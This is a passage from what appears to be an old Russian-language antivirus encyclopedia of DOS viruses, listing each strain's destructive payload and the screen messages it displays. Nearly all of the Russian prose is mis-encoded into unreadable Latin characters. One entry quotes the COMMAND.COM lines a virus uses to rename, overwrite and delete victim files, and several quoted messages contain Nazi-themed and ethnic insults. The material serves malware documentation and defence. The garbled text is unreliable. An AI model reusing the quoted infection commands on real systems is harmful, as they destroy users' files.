çàïóñêà èíôèöèðîâàííûõ ïðîãðàìì ïðîÿâëÿåòñÿ ãðàôè÷åñêèì âèäåîýôôåêòîì
ïîõîæèì íà áóðëÿùóþ ëàâó è âûâîäèò òåêñò "°±²Û Error free Û²±°".
Ñîäåðæèò òåêñò "Myxa".
HLLP.Nazi.6528
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Óäàëÿåò íåêîòîðûå ôàéëû. Èíîãäà
ïûòàåòñÿ îòôîðìàòèðîâàòü ïåðâûå äîðîæêè äâóõ æåñòêèõ äèñêîâ, ïîñëå ÷åãî
âûâîäèò íà ýêðàí òåêñò:
ÜÜÜÜÜÜÜÛÛÛÛÛÛÛÛÛÛÛÜÜÜÜÜÜÜ
Û Ûßßßß ÜÜÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÜÜÜ
Û Û Dirty Nazi ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÜ ÛÜ
ßßßßÛßßßÛ virus v.3.1b ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÜ ßÝ
Û Û ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÝ ÞÝ
ßßßßß ß ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Û
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛßßßßÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÜÝ
Ú¬ Ú¬ ÞÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛß ßßÛÛÛÛÛÛÛÛÛÝ Ûß
Ú†††††††ÁÙ Ú†††††††ÁÙ ßßÛÛÛÜÜÜßßÛßÛÛÝ Ü ÛÛÛÛÛÛß ÛÝ
Ú††††††ÁÙ Ú††††††ÁÙ Üß ßßßßÜÝßß ÞÛÛÛÛßßÜÜßßÝ
Ú†††††ÁÙ Ú†††††ÁÙ ÞÝ þ ÜßÜßÜÜ ÜÛßÜÜÜ ßß Ü ßÜ
Ú††††ÁÙ Ú††††ÁÙ ßÜÜ ÜÜß ÜÛÛÜÜßßßÜÜÜÜÜßßßÜÛÛÛÛÜÜ ßÛÛÜÞÝ
Ú†††††Â¬ Ú†††††Â¬ ÜÜÛÛßßßÜÜÛß ßÜßßÛÛÜÜÜÜÜÛÛÛÛÛÛÛÛÛÝÝ ÛÛß
ÀÁÁ†††††ÁÙ ÀÁÁ†††††ÁÙ ßßßÛÛÛÛÛÝ ÞÛÛÛÛßßÛÛßÛÛÛÛÛÛÛÛßß ÞÛ
Ú††††Ù Ú††††Ù ßÜÜÜÛÜÜÛÛÛÛÛÛÛÜßÛ ßßßßß ÜÛÛÝ
Ú†††ÁÙ Ú†††ÁÙ ÞÞÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÜÛÛÛÛ
Ú††ÁÙ Ú††ÁÙ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÝ ßÛÛÛÛÛÛÛÛÝ
Ú††Ù Ú††Ù ßßß ßÛß ßÛß ßÛß Ü ÜÛÛÛÛÛÛÛÛÛßß
ÀÁÙ ÀÁÙ ÞÞÛÜ ÜÛÜ ÜÛÜ ÜÛÜ ÜÛÛÛÛÛÛßßß
ßßÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛßßß
Open your blind eyes and turn ßßßßßßßßßßßßß
around: death is everywhere.
Òàêæå èíîãäà âûâîäèò òåêñò "This program requires Igor Daniloff".
HLLP.Nazi.8600
Ìîæåò âûâåñòè íà ýêðàí îäíî èç ñëåäóþùèõ ñîîáùåíèé:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name "Dirty Nazi" º
º Type Virus º
º Version 2.0 beta º
º Target *.COM *.EXE º
º Stealth No º
º TSR No º
º Attac speed Slow º
º Danger 2 º
º Effects Yes º
º Length 8600 º
º Language Turbo Pascal º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
ßßßßß Copyleft (cl) Dirty Nazi 1955
This program requires Dmitry Lozinsky
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Dirty Nazi Virus. Nazi not dead! º
º Today is 22/06. Congratulations º
º from fUcKRAINE ! I don't wanna º
º serve u today so have a rest! º
º C u tomorrow! º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
º (cl) Kiev Computer Virus Club º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
HLLP.NotFound.6176
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Íàïèñàí íà Turbo Pascal. Ñîäåðæèò òåêñò:
Borland Virus (C) 1994
Processor Intel PentiumTM not found.
17Gb disk free space not found.
512Mb extended memory not found.
16Mb XGA Video card not found.
Sound Blaster not found.
Sorry, your configuration doesn't match to run this...
HLLP.Novokuz
Íåðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò "Novokuznetsk - the city of
FidoFuckers :( Feci Quod Potui, Faciant Meliora Potentes :)".
HLLP.RedAlert
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Çàðàæàåò EXE-ôàéëû. Â COM-ôàéëû âèðóñ
çàïèñûâàåò 23 áàéòà êîäà, êîòîðûå óñòàíàâëèâàþò ñèñòåìíóþ äàòó â 1-îå
ÿíâàðÿ 2000 ãîäà è âîçâðàùàþò óïðàâëåíèå DOS. Òàêæå â ýòè COM-ôàéëû
çàïèñûâàåòñÿ òåêñò "Infected by Red Alert". Íî âîçìîæíî êîððåêòíîå
âîññòàíîâëåíèå òàêèõ COM-ôàéëîâ.
HLLP.Rottom
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ðàçðóøàåò òàáëèöû ADinf. Ñîäåðæèò òåêñò
"(c) 1997 by DirtyRottom".
HLLP.Rsw.5846
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Íàïèñàí íà ÿçûêå âûñîêîãî óðîâíÿ,
âèäèìî, Turbo Pascal è óïàêîâàí óòèëèòîé PKLITE v.1.12. Â òåëå âèðóñà
ïðèñóòñòâóþò òåêñòîâûå ñòðîêè, ïðèíàäëåæàùèå êîìïèëÿòîðó ôèðìû Borland.
Âèðóñ ïðîèçâîäèò ïîèñê *.cOm è *.exE -ôàéëîâ â êàòàëîãàõ, äîñòóïíûõ
÷åðåç ïåðåìåííóþ PATH. Ñîçäàåò ôàéë vvc.13 â êàòàëîãå íàéäåííîãî ôàéëà,
çàïèñûâàåò â ñîçäàííûé ôàéë 5846 áàéò âèðóñíîãî êîäà, ïîñëå ÷åãî
êîïèðóåò ôàéë-æåðòâó â íîâûé ôàéë vvc.13. Â äàëüíåéøåì óäàëÿåò
îðèãèíàëüíûé ôàéë è ïðèñâàèâàåò ôàéëó vvc.13 èìÿ óäàëåííîãî ôàéëà. Â
êàòàëîãå çàïóùåííîãî íà âûïîëíåíèå èíôèöèðîâàííîãî ôàéëà, âèðóñ ñîçäàåò
íîâûé ôàéë nortom.ini è êîïèðóåò â íåãî êîä çàðàæåííîãî ôàéëà áåç
âèðóñíîãî êîäà. Ïî îêîí÷àíèè ñâîåé ðàáîòû âèðóñ çàïóñêàåò íà âûïîëíåíèå
ôàéë nortom.ini, ïîñëå ÷åãî óäàëÿåò äàííûé ôàéë.  çàãîëîâêå âèðóñà ïî
àäðåñó 1Eh íàõîäèòñÿ òåêñòîâàÿ ñòðîêà: "ß ëþáëþ ïèâî,êîìïû è æåíùèí :)
By Rsw. Version 2.10.". 17 ÷èñëà ëþáîãî ìåñÿöà âèðóñ âûâîäèò íà ýêðàí
òåêñò:
Áëèí , ñåãîäíÿ ìîé äåíü ðîæäåíèÿ.
ß òàê ðàä , ÷òî íå áóäó äàæå íå ÷åãî çàðîæàòü ;-).
Copyright (c) 1994 by RSW
Release 17.06.94 , v. 2.10 (BugFix)
Ïîñëå ÷åãî, íå îòäàâàÿ óïðàâëåíèå ïðîãðàììå-âèðóñîíîñèòåëþ çàêàí÷èâàåò
ðàáîòó. Õîðîøî êîãäà ó ÷åëîâåêà 12 ðàç â ãîäó äåíü ðîæäåíèÿ - òîãäà
õîòü ðàç â ìåñÿö, íî è ó íàñ áóäåò ïðàçäíèê, è òàêîé âîò âèðóñ "íå ÷åãî
çàðîæàòü" íå áóäåò.
HLLP.Rsw.8304
Àíàëîãè÷åí HLLP.Rsw.5846. Íå óïàêîâàí PKLITE. 17 ÷èñëà ëþáîãî ìåñÿöà
âûâîäèò ñîîáùåíèå:
I'm sorry You hawe virus.!
My name VVC 13 version 1.0 beta.
Special Thank's auhtor viruses Yeanke Doodle , Lozinsky D.N.
Virus by VVC & RSW release 25.02.94
HLLP.Sarka
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Óïàêîâàí LZEXE. Â ìàðòå è äåêàáðå
óíè÷òîæàåò ñîäåðæèìîå CMOS-ïàìÿòè, MBR ïåðâîãî æåñòêîãî äèñêà è âûâîäèò
òåêñò:
WARNING: DANGEROUS SUPERVIR S A R K A
Nazdaaaaaaar zdravy vas pocitacovy supervir S A R K A !
Pro zacatek bych mel pro vas nekolik uzitecnych rad:
1. v pripade resetnuti pocitace nebo vypnuti vas pocitac okamzite
totalne zlikvyduji (neberte to jako vyhrusku)
2. tento vir je opravdu spicka proto zavirovane soubory nahravejte
svym pratelum a znamym at si tento vir taky vychutnaji
3. nahnete se bliz k pocitaci jsem totiz prenosny i na lidi
po precteni stisknete SPACE
! WARNING !
4. Opravdu sis myslel ze tvuj pocitac neznicim !
Tak to sis myslel spatne !!!!!!!
HLLP.Satyricon
Èíîãäà îñòàâëÿåò â ïàìÿòè ðåçèäåíòíûé êîä, êîòîðûé âûâîäèò òåêñò
"General error: Smoked cigarrete on hard disk C:".Ñîäåðæèò òàêæå ñòðîêó
"Satyricon v1.0".
HLLP.Unsteady (1,2)
Îïàñíûå íåðåçèäåíòíûå âèðóñû. Ñ ìàðòà ïî ñåíòÿáðü èëè ñ ôåâðàëÿ ïî
àâãóñò (HLLP.Unsteady (2)) âûâîäÿò òåêñò:
No Stealth, No Boot, No Stupid, but
this PC is now U N S T E A D Y !!!
Violated by Ludvi(r)ka L. PC virus !!!
Ïîñëå ÷åãî ïûòàþòñÿ óäàëèòü ôàéë CONFIG.SYS íà òåêóùåì äèñêå.
HLLP.UPI
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Óïàêîâàí PKLITE. Ïûòàåòñÿ óäàëèòü
èëè ðàçðóøèòü ôàéëû, èìåþùèå ðàñøèðåíèÿ PAS,BAS,TXT,BAK,PCX,MID,PIC,
CUT,C,ARC,PAK,ZIP,LZH,ICE, CHZ, ARJ. Ñîäåðæèò òåêñò "Data Terminator
1.2,1993,UPI".
HLLP.Viper.7792
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ, íàïèñàííûé íà Turbo Pascal â ôîðìàòå EXE
-ôàéëà è óïàêîâàííûé êîìïðåññîðîì PKLITE 1.12. Ïðîèçâîäèò ïîèñê ôàéëîâ
a*.*cOm è a*.*exE â êàòàëîãàõ, äîñòóïíûõ ÷åðåç ïåðåìåííóþ PATH. Ñîçäàåò
ôàéë $viper$.TmP, â êîòîðûé êîïèðóåò ïðîãðàììíûé êîä ñòàðòîâàâøåé
èíôèöèðîâàííîé ïðîãðàììû. Ïðè íàõîæäåíèè ôàéëà-æåðòâû, âèðóñ ñîçäàåò
ôàéë $viper$.tm1, çàïèñûâàåò â íåãî 7792 áàéòà âèðóñíîãî êîäà, ïîñëå
÷åãî êîïèðóåò â ýòîò ôàéë ïðîãðàììíûé êîä ôàéëà-æåðòâû. Óäàëÿåò
ôàéë-æåðòâó è ïðèñâàèâàåò ôàéëó $viper$.tm1 èìÿ ôàéëà-æåðòâû. Ïî
îêîí÷àíèè ñâîåé ðàáîòû âèðóñ çàïóñêàåò ôàéë $viper$.TmP, ïîñëå ÷åãî
óäàëÿåò åãî.
HLLP.Vova.xxxxx
Îïàñíûå âèðóñû, íàïèñàííûå íà Turbo Pascal â ôîðìàòå EXE-ôàéëà.
Çàøèôðîâàíû. Âíåäðÿþòñÿ â íà÷àëî ôàéëîâ, ñäâèãàÿ âåñü ïðîãðàììíûé êîä â
êîíåö íà äëèíó âèðóñà. Èçìåíÿþò â èíôèöèðîâàííûõ ôàéëàõ èíñòðóêöèè INT
21h (CDh 21h) íà INT 65h (CDh 65h). Ñîçäàþò â òåêóùåì êàòàëîãå ôàéë
\VIR è çàïèñûâàþò â íåãî âèðóñíûé êîä. Ïðîèçâîäÿò ïîèñê ôàéëîâ *.COM è
*.EXE. HLLP.Vova.10896 èùåò ôàéëû *.CAM è *.EXO!? Ïåðåèìåíîâûâàþò
íàéäåííûé ôàéë â ôàéë v c ïîìîùüþ êîìàíäíîãî ïðîöåññîðà. Íàïðèìåð, åñëè
èìÿ ôàéëà C:\FILE.EXE, à êîìàíäíûì ïðîöåññîðîì ÿâëÿåòñÿ COMMAND.COM, òî
âèðóñ çàïóñêàåò COMMAND.COM /c ren C:\FILE.EXE C:\v. Äàëüøå ôàéë /VIR,
ñîäåðæàùèé âèðóñíûé êîä è ôàéë v êîïèðóþòñÿ â ôàéë, èìåþùèé
ïåðâîíà÷àëüíîå èìÿ: COMMAND.COM /c>nul copy/b \VIR + C:\v C:\FILE.EXE.
Ïîñëå ýòîãî âèðóñ óäàëÿåò ôàéë v: COMMAND.COM /c del C:\v. Ïðè ýòîì
êîìàíäíûì ïðîöåññîðîì íà ýêðàí âûâîäèòñÿ ñîîáùåíèå îá óäàëåíèè ôàéëà (1
file(s) deleted). HLLP.Vova.10448, 10960 12 èþëÿ ïðîèãðûâàþò ìóçûêó.
HLLP.Vova.10896, 11312, 12240, 12560 âîñïðîèçâîäÿò òàêóþ æå ìåëîäèþ 11
÷èñëà ëþáîãî ìåñÿöà. Âèðóñû ñîäåðæàò òåêñòû:
HLLP.Vova.10448 -
***ProfVovaVir 5.1 (MUSICMUTANT),HAPPY BRITHDAY to YOU !!!,for Lena of
UAI(òåïåðü óíèâåðñ.),economicfac.,city Ufa O(c) 1992-94 by Vova,
Bashkortorstan,12/7/94 (max. probability accident=1/128)***
HLLP.Vova.10896 -
***ProfVovaVir 7.11 (MUSICMUTANT),Give my best regards to LENA !!!G(c)
1992-93 by Vova of Ufa,11/9/93 (max. probability accident=1/128)***
HLLP.Vova.10960 -
***ProfVovaVir 5.3 (MUSICMUTANT),HAPPY BRITHDAY to YOU !!!,for Lena
of UAI,economicfac.,city Ufa O(c) 1992-94 by Vova,Bashkortorstan,
11/9/93 (max. probability accident=1/128)***
HLLP.Vova.11312 -
***ProfVovaVir 8.11 (MUSICMUTANT),Give my best regards to LENA !!!H(c)
1992-94 by Vova of Ufa,11/01/94 (max. probability accident=1/128)***
HLLP.Vova.12240 -
***ProfVovaVir 9.3 (Ghost),Give my best regards to LENA !!!H(c) 1992-94
by Vova of Ufa,11/01/94 (max. probability accident=1/128)***
HLLP.Vova.12560 -
***ProfVovaVir 10.1 (INVECTOR) , Give my best regards to LENA !!! J (c)
1992-94 by Vova of Ufa,11/03/94 (max. probability accident=1/128)***
HLLP.Vova.12704 -
***ProfVovaVir 7.2 (MUTANT),HAPPY BRITHDAY to LENA !!!H(c) 1992-94 by
Vova of Ufa,11/01/94 (max. probability accident=1/128)***
HLLP.Vova.13168 -
***ProfVovaVir 9.2 (MUTANT),HAPPY BRITHDAY to LENA !!!H(c) 1992-94 by
Vova of Ufa,11/01/94 (max. probability accident=1/128)***
HLLP.Vs&W.5062, 5175
Îïàñíûå íåðåçèäåíòíûå âèðóñû. 13 àâãóñòà óíè÷òîæàþò 16 ïåðâûõ ñåêòîðîâ
ïåðâîãî æåñòêîãî äèñêà. Ïðè ïîïûòêå çàðàæåíèÿ íà çàùèùåííîì îò çàïèñè
äèñêå âèðóñû âûâîäÿò òåêñòû:
HLLP.Vs&W.5062:
Âèðóñ REFLY íå ìîæåò áûòü çàïóùåí, ò.ê. äèñê çàùèùåí îò çàïèñè
HLLP.Vs&W.5175:
Òû çà÷åì äèñêó îò çàïèñè çàùèòèë
Èíîãäà âûâîäÿò ñîîáùåíèÿ:
HLLP.Vs&W.5062:
 ïàìÿòè íàéäåí âèðóñ REFLY. Íàæìèòå ëþáóþ êëàâèøó äëÿ ïåðåçàãðóçêè.
Ñàíêò-Ïåòåðáóðã, 1995, Max Hacker ( 14 years old )
HLLP.Vs&W.5175:
Êðàòêàÿ õàðàêòåðèñòèêà íà Äìèòðèÿ Íàãèåâà:
Ñîñòîÿë â ïàðòèè. Êàêîé? Èñòîðèêàì âûÿñíèòü íå óäàëîñü!
Áûë ÷ëåíîì. Êàêèì? Èñòîðèêàì òîæå âûÿñíèòü íå óäàëîñü
ß ëþáëþ ðàäèîñòàíöèÿ ÌÎÄÅÐÍ. ( 104 MHz, Ñàíêò-Ïåòåðáóðã )
À òàêæå ñîäåðæàò âñÿ÷åñêèå áðåäîâûå òåêñòû:
________.,---------------
.._ _______
`-.____`.-'~
Max Hacker
~`-,'____,-'
`-.___\
(c) Copyrigth 1995
/___,-'
`-._>-.._________________
.,-<_,-'
REFLY VIRUS Reboot and fly
HLLP.Weed.4080 (1,2), 5850 (1-5)
Îïàñíûå íåðåçèäåíòíûå âèðóñû. Ìîãóò ðàçðóøèòü íåêîòîðûå ôàéëû ïðè
çàðàæåíèè.Óïàêîâàíû LZEXE. HLLP.Weed.4080 ñîäåðæèò òåêñò "WEED - v1.1".
HLLP.Xenia
Îïàñíûé íåðåçèäåíòíûé âèðóñ.  çàâèñèìîñòè îò ñâîèõ ñ÷åò÷èêîâ ìîæåò
óíè÷òîæèòü MBR è âûâåñòè òåêñò:
Out of enviroment space
Memory allocation error, system halted.
À òàêæå â ïåðèîä ñ 2.00 äî 4.00 âûâîäèò òåêñò:
...Xenia... i will not forgive your treachery... ...but I love you... (S`96)
...hard disk 1 seems to be non-DOS disk...
è ïûòàåòñÿ îòôîðìàòèðîâàòü ïåðâóþ äîðîæêó ïåðâîãî æåñòêîãî äèñêà.
HLLP.Zenit
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Íàïèñàí íà Turbo Pascal. Èíîãäà âûâîäèò
òåêñò:
ÜßßßßßßÛ ±±±±± ÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
Û ÜÛ ±±±±± ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
ÜÛß ±±± ÛÛÛ ÛÛÛ ÛÛÛ
ÜÜÜÛ ßßßßßßßßßßßßßßßßßßßßßßßßßßßÛßßßßß ±± ÛÛÛ ÛÛÛ ÛÛÛ
ßÛÜ ÜßßßßßÜ Û Û Û Û Û ÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛ
ÜÜÜÜÛÜÜ ÛÜÜÜÜÜÛ ÛÜÜÜÜÜÛ Û ÜÛÛ Û ÛÛÛ ÛÛÛ ÛÛÛ
Üß Û Û Û Û ÛÜÛß Û Û ÛÛÛ ÛÛÛ ÛÛÛ
Üß Ûß ßßßßßßß ß ß ß ß ß ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
Üß Ûß ÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
ßÜ ÜÛß
ßÜß Ñàíêò-Ïåòåðáóðãñêèé
Ôóòáîëüíûé êëóá "ÇÅÍÈÒ"!
FAN CLUB 33
Ëó÷øå êëóáà íàì íå íàäî, ÷åì ÇÅÍÈÒ èç Ëåíèíãðàäà
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĬ
¦ Ç Å Í È Ò - F O R E V E R ¦
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Âëàäèìèð Êóëèê, Èãîðü Äàíèëîâ (ôóòáîëèñò, à íå âèðóñîëîã), Äåíèñ Çóáêî
Áîðèñ Ìàòâååâ, Ñåðãåé Äìèòðèåâ, ... , è, êîíå÷íî æå, Ï.Ô. Ñàäûðèí
Hobo.369
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Èíîãäà ñîçäàåò ôàéë "'Hobo'" è çàïèñûâàåò
â íåãî òåêñò "Created by Sozer".
Holera.1488
Î÷åíü îïàñíûé ðåçèäåíòíûé âèðóñ.  ôàéëû, èìåþùèå ðàñøèðåíèÿ TXT è CPP,
âèðóñ çàïèñûâàåò òåêñòû: "Íà äâîðå òðàâà, íà òðàâå äðîâà... Special
for MIEM" è "Êàðë ó Êëàðû óêðàë êàðàëëû, à Êëàðà ó Êàðëà óêðàëà
êëàðíåò..." ñîîòâåòñòâåííî. Ñîäåðæèò òåêñò "HOLERA II".
Holiday.2900
3 ìàðòà âûâîäèò ñîîáùåíèå:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º ATTENTION! º
º I'm very sorry, today is my holiday. º
º So, I can't serve you, cause I want to play on your computers. º
º º
º DON'T TURN OFF YOUR COMPUTER UNTIL TOMORROW, º
º OR YOUR DATA WILL BE LOST!!! º
º º
º I'll be back to serve you tomorrow. º
º Thank You, º
º º
º AAA º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Ïîñëå ÷åãî æäåò íàñòóïëåíèÿ 4 ìàðòà. Åñëè ýòîò äåíü íàñòóïèë, òî âèðóñ
âûâîäèò òåêñò:
Thank You for playing, see you...
Please, hit ENTER!
Holms.6161
Ïîëèìîðôíûé âèðóñ ñ î÷åíü ñåðüåçíûì àëãîðèòìîì øèôðîâàíèÿ. Ïûòàåòñÿ
ñêðûâàòü ñâîå ïðèñóòñòâèå â êîìïüþòåðå - ïðîäëèòü ñâîé "èíêóáàöèîííûé"
ïåðèîä. Äëÿ ýòîãî âèðóñ ïîäñ÷èòûâàåò êîíòðîëüíóþ ñóììó ó÷àñòêà ÏÇÓ è
çàïîìèíàåò åå. Åñëè CRC ÏÇÓ ïðè ñòàðòå âèðóñà íå ñîâïàäàåò ñ ðàíåå
çàïîìíåííîé, òî âèðóñ óñòàíàâëèâàåò ñâîþ TSR-êîïèþ â ïàìÿòü è çàðàæàåò
ôàéëû. Åñëè CRC ñîâïàäàåò - âèðóñ àêòèâèçèðóåòñÿ ñ 17 ÷èñëà ìåñÿöà èëè
÷åðåç íåäåëþ ïîñëå çàðàæåíèÿ äàííîãî ôàéëà. Ò.î., â êàæäîì çàðàæåííîì
ôàéëå õðàíèòñÿ CRC ó÷àñòêà ÏÇÓ è èíôîðìàöèÿ î âðåìåíè åãî çàðàæåíèÿ.
Ïðè çàðàæåíèè ôàéëà ñàìîñòîÿòåëüíî ñîçäàåò ôàéë ñî ñëó÷àéíûì èìåíåì áåç
ðàñøèðåíèÿ, êîïèðóåò â íåãî ñîäåðæèìîå ôàéëà-æåðòâû, è óäàëÿåò
ôàéë-æåðòâó. Çàðàæàåò ñîçäàííûé ôàéë è ïðèñâàèâàåò åìó èìÿ
îðèãèíàëüíîãî, ðàíåå óäàëåííîãî ôàéëà.
Ïðè àêòèâíîì ðåçèäåíòíîì âèðóñå, ïðè îäíîâðåìåííîì íàæàòèè íà ëåâûé è
ïðàâûé Shift, âèðóñ ïðîèãðûâàåò ìåëîäèþ èç ôèëüìà "Øåðëîê Õîëìñ è
äîêòîð Âàòñîí" èëè ïðåðûâàåò åå. Ôàéë COMMAND.COM âèðóñ íå çàðàæàåò. Â
òåëå âèðóñà èìåþòñÿ òåêñòîâûå ñòðîêè: "PATH=COMMAND COMEXE*.*",
"Copyright 1989-1992. Version 1.05-NC for antivirus program debugging."
è "Holms.".
Hoodoo.4456
Îïàñíûé íåðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ïîä îòëàä÷èêîì èëè 21 ÷èñëà
ìåñÿöà óíè÷òîæàåò ñîäåðæèìîå æåñòêîãî äèñêà è âûâîäèò íà ýêðàí òåêñò:
ÚÄÄÄ ÚÄÄÄ ÚÄÄÄÄÄÄÄÄÄ ÚÄÄÄÄÄÄÄÄÄ ÚÄÄÄÄÄÄÄÄÄÄ ÚÄÄÄÄÄÄÄÄÄ ÚÄÄÄÄÄÄÄÄÄ
ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ
ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ
ÚÄÄÄÄÄÄÄÄÄÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ
ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ
ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ
ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ ÚÄÄÄ
ÚÄÄÄ ÚÄÄÄ ÚÄÄÄÄÄÄÄÄÄ ÚÄÄÄÄÄÄÄÄÄ ÚÄÄÄÄÄÄÄÄÄÄ ÚÄÄÄÄÄÄÄÄÄ ÚÄÄÄÄÄÄÄÄÄ
HOODOO V1.0 (c)1996 by Terminus
Horsa.1185, 1230
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû. Èùóò *mand.com-ôàéëû.Ïðîèçâîäÿò ÷òåíèå
è çàïèñü â ôàéëû ñ ïîìîùüþ INT 25h, 26h (äèñêîâûå ÷òåíèå, çàïèñü ÷åðåç
äðàéâåðû DOS).
Horse.1776
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïðîÿâëÿåòñÿ âèäåîýôôåêòîì, çàèìñòâîâàííûì
èç âèðóñà Ping-Pong - ñêà÷óùèé ïî ýêðàí øàðèê.
Hydra.1162, 1649
Íåîïàñíûå ðåçèäåíòíûå øèôðîâàííûå âèðóñû.  íå÷åòíûé ìåñÿö è ïðè
ðàâåíñòâå çíà÷åíèé äíÿ è ìåñÿöà âèðóñû âûâîäÿò òåêñò:
Hydra.1162 -
This is Hydra v1.0.
Don`t panic, I will not destroy your data.
Hydra.1649 -
This is Hydra v1.1.
Don`t panic, I will not destroy your data.
Hydra.1649 òàêæå ïðîèçâîäèò äâèæåíèå áóêâ íà ýêðàíå è æäåò íàæàòèÿ íà
êëàâèøó.
Hymn.1865, 1962 (1,2), 2144
Îïàñíûå ðåçèäåíòíûå (Hymn.1962 , 2144 - øèôðîâàííûå) âèðóñû.
Ðàáîòîñïîñîáíû òîëüêî â MS-DOS âåðñèè 3.30.  äåíü, çíà÷åíèå êîòîðîãî
ñîâïàäàåò ñî çíà÷åíèåì ìåñÿöà, âèðóñû îáíóëÿþò íåêîòîðóþ ñëóæåáíóþ
èíôîðìàöèþ â àêòèâíîì çàãðóçî÷íîì ñåêòîðå ïåðâîãî æåñòêîãî äèñêà,
ôàëüøèâî èñïîëíÿþò Ãèìí ÑÑÑÐ è âûâîäÿò ñëåäóþùóþ êàðòèíêó:
ÞßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÝ ÞßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÝ
Þ USSR ViruSoft (c) v1. 1990 Ý Þ USSR ViruSoft (c) v1. 1990 Ý
ÞÜÞßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÝ ÞßÞÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÝ
Þ USSR ViruSoft (c) v1. 1990 Ý Þ USSR ViruSoft (c) v1. 1990 Ý
